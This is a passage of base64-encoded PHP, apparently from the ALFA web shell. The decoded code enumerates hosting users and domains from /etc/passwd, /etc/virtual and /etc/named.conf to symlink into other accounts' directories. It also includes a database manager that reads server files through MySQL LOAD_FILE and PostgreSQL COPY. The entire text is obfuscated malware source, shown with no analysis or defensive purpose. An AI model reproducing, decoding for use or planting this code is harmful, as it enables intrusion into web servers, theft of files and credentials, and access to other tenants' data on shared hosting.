jRkZGRjAxOyI+e2NvdW50fTwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cue3VybH0iLz48c3BhbiBzdHlsZT0iY29sb3I6IzAwQTIyMDttYXJnaW4tbGVmdDoxMHB4OyI+PGI+e3VybH08L2I+IDwvYT48L3NwYW4+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246bGVmdDsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkZGRkZGO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57dXNlcn08L2ZvbnQ+PC9iPjwvdGQ+PHRkPjxhIGhyZWY9IicuX19BTEZBX0RBVEFfRk9MREVSX18uJy9hbGZhc3ltbGluay9yb290e2N3ZH0iIHRhcmdldD0iX2JsYW5rIj48c3BhbiBzdHlsZT0iY29sb3I6I0ZGMDAwMDsiPlN5bWxpbms8L3NwYW4+PC9hPjwvdGQ+PC90cj4nOwppZigkc29sZSl7CmZvcmVhY2goJHNvbGUgYXMgJHZpc2libGUpewppZihAc3Ryc3RyKCR2aXNpYmxlLCI6Iikpewokc29sZXZpc2libGUgPSBleHBsb2RlKCc6JywgJHZpc2libGUpOwokY3dkID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsIHRyaW0oJHNvbGV2aXNpYmxlWzFdKSwgJG1ha2Vwd2QpOwplY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9Iiwie3VzZXJ9Iiwie3VybH0iLCJ7Y3dkfSIpLCBhcnJheSgkY291bnQrKywgdHJpbSgkc29sZXZpc2libGVbMV0pLCB0cmltKCRzb2xldmlzaWJsZVswXSksICRjd2QpLCAkdGVtcGxhdGUpOwp9Cn0KfWVsc2V7CiRwYXNzd2QgPSBfYWxmYV9maWxlKCIvZXRjL3Bhc3N3ZCIpOwppZigkcGFzc3dkKXsKJGh0bWwgPSAiIjsKJGlzX25hbWVkID0gZmFsc2U7CiR1c2VycyA9IGFycmF5KCk7CiRkb21haW5zID0gYXJyYXkoKTsKJHVrbm93bnMgPSBhcnJheSgpOwpmb3JlYWNoKCRwYXNzd2QgYXMgJHVzZXIpewokdXNlciA9IHRyaW0oJHVzZXIpOwokZXhwbCA9IGV4cGxvZGUoIjoiLCAkdXNlcik7CmlmKChpbnQpJGV4cGxbMl0gPCA1MDApY29udGludWU7CiR1c2Vyc1skZXhwbFswXV0gPSAkZXhwbFs1XTsKfQokc2l0ZV9kb21haW5zID0gQHNjYW5kaXIoIi9ldGMvdmlydHVhbC8iKTsKaWYoISRzaXRlX2RvbWFpbnMpewokc2l0ZV9kb21haW5zID0gYWxmYUV4KCJscyAvZXRjL3ZpcnR1YWwvIik7CiRzaXRlX2RvbWFpbnMgPSBleHBsb2RlKCJcbiIsICRzaXRlX2RvbWFpbnMpOwppZighJHNpdGVfZG9tYWlucyl7CiRzaXRlX2RvbWFpbnMgPSBfYWxmYV9maWxlKCIvZXRjL25hbWVkLmNvbmYiKTsKaWYoJHNpdGVfZG9tYWlucyl7JGlzX25hbWVkID0gdHJ1ZTt9Cn0KfQpmb3JlYWNoKCRzaXRlX2RvbWFpbnMgYXMgJGxpbmUpewppZigkaXNfbmFtZWQpewppZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsKcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRsaW5lLCAkZGF0YSk7CiRkb21haW4gPSAkZGF0YVsxXVswXTsKaWYoc3RybGVuKCRkb21haW4gID4gMikgJiYgIWVtcHR5KCRkb21haW4pKXsKJGRvbWFpbnNbXSA9ICRkb21haW47Cn0KfQp9ZWxzZXsKJGRvbWFpbnNbXSA9ICRsaW5lOwp9Cn0KJHggPSAxOwpmb3JlYWNoKCR1c2VycyBhcyAkdXNlciA9PiAkaG9tZSl7CmZvcmVhY2goJGRvbWFpbnMgYXMgJGRvbWFpbil7CiR1c2VyX2xlbiA9IHN0cmxlbigkdXNlcikgLSAxOwokc3ViX2RvbWFpbiA9IHN0cl9yZXBsYWNlKGFycmF5KCItIiwiLiIpLCAiIiwgJGRvbWFpbik7CiRmaXZlX3VzZXIgPSBzdWJzdHIoJHVzZXIsIDAsJHVzZXJfbGVuKTsKJGZpdmVfZG9tYWluID0gc3Vic3RyKCRzdWJfZG9tYWluLCAwLCR1c2VyX2xlbik7CmlmKCRmaXZlX3VzZXIgPT0gJGZpdmVfZG9tYWluKXsKaWYoJGlzX2RpcmVjdCl7CiRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXIsICRtYWtlcHdkKTsKfWVsc2V7CiRleHBsID0gZXhwbG9kZSgifS8iLCAkbWFrZXB3ZCk7CiRjd2QgPSAkaG9tZS4iLyIuJGV4cGxbMV07Cn0KJGh0bWwgLj0gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsICJ7Y3dkfSIpLCBhcnJheSgkeCsrLCAkdXNlciwgJGRvbWFpbiwgJGN3ZCksICR0ZW1wbGF0ZSk7Cn1lbHNlewokdWtub3duc1skdXNlcl0gPSAkaG9tZTsKfQp9Cn0KJHVrbm93bnMgPSBhcnJheV91bmlxdWUoJHVrbm93bnMpOwpmb3JlYWNoKCR1a25vd25zIGFzICR1c2VyID0+ICRob21lKXsKaWYoJGlzX2RpcmVjdCl7CiRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXIsICRtYWtlcHdkKTsKfWVsc2V7CiRleHBsID0gZXhwbG9kZSgifS8iLCAkbWFrZXB3ZCk7CiRjd2QgPSAkaG9tZS4iLyIuJGV4cGxbMV07Cn0KJGh0bWwgLj0gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsICJ7Y3dkfSIpLCBhcnJheSgkeCsrLCAkdXNlciwgIls/Pz8/P10iLCAkY3dkKSwgJHRlbXBsYXRlKTsKfQplY2hvKCRodG1sKTsKfQp9CmVjaG8gIjwvdGFibGU+IjsKJGNhbnRfc3ltbGluayA9IGZhbHNlOwp9Cn1lbHNlewplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlsrXSBTeW1saW5rIEZ1bmN0aW9uIERpc2FibGVkICE8L2I+PC9mb250PjwvcHJlPjwvY2VudGVyPiI7CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfQppZigkY2FudF9zeW1saW5rKWVjaG8gJzxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBjbGFzcz0ibWwxIj48YnI+PGZvbnQgY29sb3I9IiNGRkZGRkYiPkVycm9yLi4uPC9mb250PjwvYj48YnI+JzsKZWNobyAiPC9jZW50ZXI+PC90YWJsZT4iOwp9CmVjaG8gIjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhc3FsKCl7CmNsYXNzIERiQ2xhc3N7CnB1YmxpYyAkdHlwZTsKcHVibGljICRsaW5rOwpwdWJsaWMgJHJlczsKcHVibGljICRteXNxbGlfY29ubmVjdF9lcnJvciA9IGZhbHNlOwpwdWJsaWMgJG15c3FsaV9jb25uZWN0X2Vycm9yX21zZyA9ICIiOwpmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHlwZSl7CiR0aGlzLT50eXBlID0gJHR5cGU7Cn0KZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgppZigkdGhpcy0+bGluayA9IEBteXNxbGlfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcywkZGJuYW1lKSl7CnJldHVybiB0cnVlOwp9ZWxzZXsKJHRoaXMtPm15c3FsaV9jb25uZWN0X2Vycm9yID0gdHJ1ZTsKJHRoaXMtPm15c3FsaV9jb25uZWN0X2Vycm9yX21zZyA9IG15c3FsaV9jb25uZWN0X2Vycm9yKCk7CnJldHVybiBmYWxzZTsKfQpicmVhazsKY2FzZSAncGdzcWwnOgokaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7CmlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBzZWxlY3RkYigkZGIpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CmlmKEBteXNxbGlfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBxdWVyeSgkc3RyKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbGlfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gZmV0Y2goKXsKJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVzKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGxpc3REYnMoKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGxpc3RUYWJsZXMoKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZyciKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGVycm9yKCl7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuIEBteXNxbGlfZXJyb3IoJHRoaXMtPmxpbmspOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cil7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQpyZXR1cm4gQG15c3FsaV9zZXRfY2hhcnNldCgkdGhpcy0+bGluaywkc3RyKTsKZWxzZQokdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikpOwpicmVhazsKY2FzZSAncGdzcWwnOgokdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSBzb2xldmlzaWJsZShmaWxlIHRleHQpO0NPUFkgc29sZXZpc2libGUgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gc29sZXZpc2libGU7Iik7CiRyPWFycmF5KCk7CndoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQokcltdID0gJGlbJ2ZpbGUnXTsKJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIHNvbGV2aXNpYmxlJyk7CnJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KfTsKJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOwphbGZhaGVhZCgpOwokZm9ybV92aXNpYmlsaXR5ID0gInRhYmxlIjsKaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CiRjb25uZWN0aW9uX2RiID0gJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOwppZigkY29ubmVjdGlvbl9kYiAmJiAhZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CiRmb3JtX3Zpc2liaWxpdHkgPSAibm9uZSI7Cn0KfQokZGF0YWJhc2VfbGlzdCA9IGFycmF5KCk7CmVjaG8gIgo8ZGl2IGNsYXNzPSdoZWFkZXInIHN0eWxlPSdtaW4taGVpZ2h0OjMwMHB4Oyc+Ii4oJGZvcm1fdmlzaWJpbGl0eSE9Im5vbmUiPyI8Y2VudGVyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFNxbCBNYW5hZ2VyIHw8L2Rpdj48cD4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8L3A+PC9jZW50ZXI+PGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbTogMTBweDsnPjxidXR0b24gY2xhc3M9J2Nvbm5lY3Rpb24taGlzLWJ0biBkYi1vcHQtaWQnIG9uY2xpY2s9J2FsZmFTaG93Q29ubmVjdGlvbkhpc3RvcnkodGhpcyk7JyBtb2RlPSdvbic+Q29ubmVjdGlvbiBIaXN0b3J5PC9idXR0b24+PGRpdiBjbGFzcz0nY29ubmVjdGlvbl9oaXN0b3J5X2hvbGRlcic+PC9kaXY+PC9kaXY+IjoiIikuIgo8ZGl2IGNsYXNzPSdzZicgY2xhc3M9J2RiLW9wdC1pZCc+PHRhYmxlIHN0eWxlPSdtYXJnaW46IDAgYXV0bzsiLigkZm9ybV92aXNpYmlsaXR5PT0ibm9uZSI/ImRpc3BsYXk6bm9uZTsiOiIiKS4iJyBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4KPHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+VFlQRTwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SE9TVDwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgVVNFUjwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgUEFTUzwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgTkFNRTwvZGl2PjwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+Cjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyBzZWxlY3RlZD5teXNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2hvc3QnIGlkPSdkYl9ob3N0JyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIic+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfbG9naW4nIGlkPSdkYl91c2VyJyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iJz48L3RkPgo8dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NxbF9wYXNzJyBpZD0nZGJfcHcnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4iJz48L3RkPjx0ZD4iOwokdG1wID0gIjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfYmFzZScgaWQ9J2RiX25hbWUnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2Jhc2UnXSkpIC4iJz4iOwppZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsKaWYoJGNvbm5lY3Rpb25fZGIpewokZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsKJGRiLT5saXN0RGJzKCk7CmVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7CndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7Cmxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwokZGF0YWJhc2VfbGlzdFtdID0gJHZhbHVlOwplY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOwp9CmVjaG8gJzwvc2VsZWN0Pic7Cn1lbHNlewplY2hvICR0bXA7Cn0KfWVsc2UKZWNobyAkdG1wOwokY3Vycl9teXNxbF9pZCA9ICRfUE9TVFsnY3VycmVudF9teXNxbF9pZCddOwplY2hvICI8L3RkPgo8dGQ+PGJ1dHRvbiBvbmNsaWNrPSdmcyh0aGlzKTtyZXR1cm4gZmFsc2U7JyBjbGFzcz0nZGItb3B0LWlkIGRiLWNvbm5lY3QtYnRuJz5Db25uZWN0PC9idXR0b24+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nc3FsX2NvdW50JyB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+Y291bnQgdGhlIG51bWJlciBvZiByb3dzPC9kaXY+PC90ZD4KPC90cj4KPC90YWJsZT4iOwppZigkZGItPm15c3FsaV9jb25uZWN0X2Vycm9yKXsKZWNobyAnPGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtc2l6ZTogMTdweDttYXJnaW4tdG9wOiAxOHB4OyI+Jy4kZGItPm15c3FsaV9jb25uZWN0X2Vycm9yX21zZy4nPC9kaXY+JzsKfQppZighZW1wdHkoJGN1cnJfbXlzcWxfaWQpKXsKJHNxbF90aXRsZV9kYiA9ICIiOwppZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CiRzcWxfdGl0bGVfZGIgPSAiZC5xdWVyeVNlbGVjdG9yKCcjdGFiXyIuJGN1cnJfbXlzcWxfaWQuIiBzcGFuJykuaW5uZXJIVE1MPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsiOwp9CmVjaG8gIjxzY3JpcHQ+bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydob3N0J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9ob3N0J10pLiInO215c3FsX2NhY2hlWyciLiRjdXJyX215c3FsX2lkLiInXVsndXNlciddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfbG9naW4nXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydwYXNzJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9wYXNzJ10pLiInO215c3FsX2NhY2hlWyciLiRjdXJyX215c3FsX2lkLiInXVsnZGInXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydjaGFyc2V0J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ2NoYXJzZXQnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWyd0eXBlJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3R5cGUnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydjb3VudCddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfY291bnQnXSkuIic7Ii4kc3FsX3RpdGxlX2RiLiJhbGZhQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoKTs8L3NjcmlwdD4iOwp9CmlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsKaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewplY2hvICI8ZGl2IGNsYXNzPSdteXNxbC1tYWluJz48ZGl2IG1vZGU9J2Jsb2NrJyBvbmNsaWNrPSdhbGZhTXlzcWxUYWJsZVBhbmVsQ3RsKHRoaXMpOycgY2xhc3M9J3RhYmxlcy1wYW5lbC1jdGwgZGItb3B0LWlkJz4mI3gzQzsmI3gzQzs8L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC10YWJsZXMnPjxkaXY+PGlucHV0IHBsYWNlaG9sZGVyPVwiRmlsdGVyIFRhYmxlXCIgc3R5bGU9J3BhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7JyB0eXBlPSd0ZXh0JyBuYW1lPSdmaWx0ZXJfYWxsJz48YnV0dG9uIGNsYXNzPSdkYi1vcHQtaWQnIG9uY2xpY2s9J2FsZmFNeXNxbEZpbHRlckFsbFRhYmxlKHRoaXMpO3JldHVybiBmYWxzZTsnPlNlYXJjaDwvYnV0dG9uPjwvZGl2PjxkaXYgY2xhc3M9J2Jsb2NrJz48YSBzcWxfY291bnQ9JyIuKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPyJmYWxzZSI6InRydWUiKS4iJyBtb2RlPSdjbG9zZWQnIG9uY2xpY2s9J2FsZmFNeXNxbEZpbHRlckFsbFRhYmxlKHRoaXMsdHJ1ZSk7JyBjbGFzcz0nZXhwYW5kZXIgcGFyZW50LWV4cGFuZGVyIGRiLW9wdC1pZCcgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOyc+PGltZyBzcmM9J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX3BsdXMucG5nJyB0aXRsZT0nRXhwYW5kL0NvbGxhcHNlIEFsbCBEYXRhQmFzZXMnIGFsdD0nRXhwYW5kL0NvbGxhcHNlIEFsbCBEYXRhQmFzZXMnPjwvYT48L2Rpdj48dWwgc3R5bGU9J21hcmdpbi10b3A6IDI4cHg7Jz4iOwpmb3JlYWNoICgkZGF0YWJhc2VfbGlzdCBhcyAkZGJfbmFtZSkgewplY2hvICc8bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PGEgc3FsX2NvdW50PSInLihlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8iZmFsc2UiOiJ0cnVlIikuJyIgZGJfdGFyZ2V0PSInLiRkYl9uYW1lLiciIG9uY2xpY2s9ImFsZmFNeXNxbEV4cGFuZGVyKHRoaXMpOyIgY2xhc3M9ImV4cGFuZGVyIGNscy0nLiRkYl9uYW1lLictZXhwYW5kZXIgZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7Ij48aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51LycuKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXT8iYl9taW51cy5wbmciOiJiX3BsdXMucG5nIikuJyIgdGl0bGU9IkV4cGFuZC9Db2xsYXBzZSIgYWx0PSJFeHBhbmQvQ29sbGFwc2UiPjwvYT48L2Rpdj48c3BhbiBjbGFzcz0iZGJfbmFtZSI+Jy4kZGJfbmFtZS4nPC9zcGFuPjxkaXYgY2xhc3M9ImNsZWFyZmxvYXQiPjwvZGl2PjxkaXYgZGJfbmFtZT0iJy4kZGJfbmFtZS4nIiBtb2RlPSInLigkZGJfbmFtZSA9PSAkX1BPU1RbJ3NxbF9iYXNlJ10/ImxvYWRlZCI6Im5vIikuJyIgY2xhc3M9Imxpc3RfY29udGFpbmVyIGNscy0nLiRkYl9uYW1lLiciPjxkaXY+JzsKaWYoJGRiX25hbWUgPT0gJF9QT1NUWydzcWxfYmFzZSddKXsKJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOwokdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsKZWNobyAnPHVsPjxsaT48ZGl2IGNsYXNzPSJibG9jayI+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2PjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDttYXJnaW4tbGVmdDogMTFweDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibGUiIG9ua2V5dXA9ImFsZmFNeXNxbEZpbHRlclRhYmxlKHRoaXMpOyIgbmFtZT0iZmlsdGVyIj48L2Rpdj48L2xpPic7CndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKXsKbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7CmlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkKJG4gPSAkZGItPmZldGNoKCRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gYCcuJHZhbHVlLidgJykpOwokdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7CmVjaG8gIjxsaT48ZGl2IGNsYXNzPSdibG9jayc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0PSciLiRkYl9uYW1lLiInIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9XCJhbGZhTG9hZFRhYmxlRGF0YSh0aGlzLCciLiR2YWx1ZS4iJylcIj48c3BhbiBjbGFzcz0nbXlzcWxfdGFibGVzJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiR2YWx1ZS4iPC9zcGFuPjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnIGNsYXNzPSdteXNxbF90YWJsZV9jb3VudCc+KHskblsnbiddfSk8L3NwYW4+PC9zbWFsbD4iKSAuICI8L2Rpdj48L2xpPiI7Cn0KZWNobyAnPC91bD48ZGl2IHN0eWxlPSJtYXJnaW4tbGVmdDogMjZweDttYXJnaW4tYm90dG9tOiAxMHB4O21hcmdpbi10b3A6IDEwcHg7Ij48aW5wdXQgb25jaGFuZ2U9ImFsZmFNeXNxbFRhYmxlc0V